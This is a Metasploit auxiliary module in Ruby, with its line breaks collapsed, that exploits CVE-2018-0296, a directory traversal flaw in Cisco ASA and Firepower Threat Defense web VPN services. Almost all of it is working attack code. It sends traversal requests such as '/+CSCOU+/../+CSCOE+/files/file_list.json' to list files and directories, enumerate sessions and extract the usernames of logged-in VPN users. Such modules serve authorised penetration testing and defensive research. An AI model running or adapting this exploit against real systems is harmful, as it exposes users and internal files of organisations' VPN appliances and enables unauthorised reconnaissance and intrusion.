Cisco ASA Directory Traversal

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})    super(update_info(info,      'Name'           => 'Cisco ASA Directory Traversal',      'Description'    => %q{        This module exploits a directory traversal vulnerability in Cisco's Adaptive Security Appliance (ASA) software and Firepower Threat Defense (FTD) software.        It lists the contents of Cisco's VPN web service which includes directories, files, and currently logged in users.      },      'Author'         => [ 'Michał Bentkowski',  # Discovery                            'Yassine Aboukir',    # PoC                            'Shelby Pace'         # Metasploit Module                          ],      'License'        => MSF_LICENSE,      'References'     => [                           [ 'CVE', '2018-0296' ],                           [ 'EDB', '44956' ]                          ],      'DisclosureDate' => '2018-06-06'    ))    register_options(      [        OptString.new('TARGETURI', [ true, 'Path to Cisco installation', '/' ]),        OptBool.new('SSL', [ true, 'Use SSL', true ]),        Opt::RPORT(443)      ])  end  def is_accessible?    uri = normalize_uri(target_uri.path, '+CSCOE+/logon.html')    res = send_request_cgi(      'method'  =>  'GET',      'uri'     =>  uri    )    return (res && (res.body.include?("SSL VPN Service") || res.body.include?("+CSCOE+") || res.body.include?("+webvpn+") || res.body.include?("webvpnlogin")))  end  def list_files(path)    uri = normalize_uri(target_uri.path, path)    list_res = send_request_cgi(      'method'  =>  'GET',      'uri'     =>  uri    )    if list_res && list_res.code == 200      if list_res.body.match(/\/{3}sessions/)        get_sessions(list_res.body)      else        print_good(list_res.body)      end    end  end  def get_sessions(response)    session_nos = response.scan(/([0-9]{2,})/)    if session_nos.empty?      print_status("Could not detect any sessions")      print("\n")      return    end    print_good(response)    list_users(session_nos)  end  def list_users(sessions)    sessions_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'    user_ids = Array.new    sessions.each do |session_no|      users_res = send_request_cgi(        'method'  =>  'GET',        'uri'     =>  normalize_uri(target_uri.path, sessions_uri, session_no)      )      if users_res && users_res.body.include?('name')        user_ids.push(users_res.body.match(/user:(\w+)/).to_s)      end    end    unless user_ids.empty?      print_status('Users logged in:')      user_ids.each { |id| print_good(id) }      print("\n")      return    end    print_status("There are no users logged in currently")  end  def run    file_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/'    sessions_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'    cscoe_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b'    paths = [file_uri, sessions_uri, cscoe_uri]    unless is_accessible?      fail_with(Failure::NotFound, 'Failed to reach Cisco web logon service')    end    paths.each { |path| list_files(path) }  endend